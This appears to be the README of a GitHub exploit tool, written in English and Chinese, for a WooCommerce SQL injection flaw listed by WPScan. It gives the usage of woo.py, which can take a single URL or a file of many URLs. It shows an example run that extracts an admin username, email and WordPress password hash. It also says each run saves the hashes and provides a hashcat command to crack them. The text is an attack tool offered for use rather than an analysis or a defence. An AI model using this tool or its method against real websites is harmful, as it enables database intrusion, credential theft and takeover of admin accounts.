randomrobbiebf/wooExploit woocommerce SQLI and grab user and password hash
https://wpscan.com/vulnerability/1212fec8-1fde-41e5-af70-abdd7ffe5379
利用 woocommerce SQLI 并获取用户和密码哈希
usage: woo.py [-h] [-u URL] [-f FILE] [-p PROXY] [-i WID]
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to test
-f FILE, --file FILE File of urls
-p PROXY, --proxy PROXY
Proxy for debugging
-i WID, --wid WID User ID of User
python3 woo.py -u https://www.website.com -i 1
Admin ID: 2
Admin Username: [email protected]
Admin Email Address: [email protected]
Admin Password Hash:$P$BIAtNs11r0CBJZxa3B1JLrFd5C9f7r/
每次运行它都会将哈希写入 wphash.has，并为你提供一条 hashcat 命令来破解它们。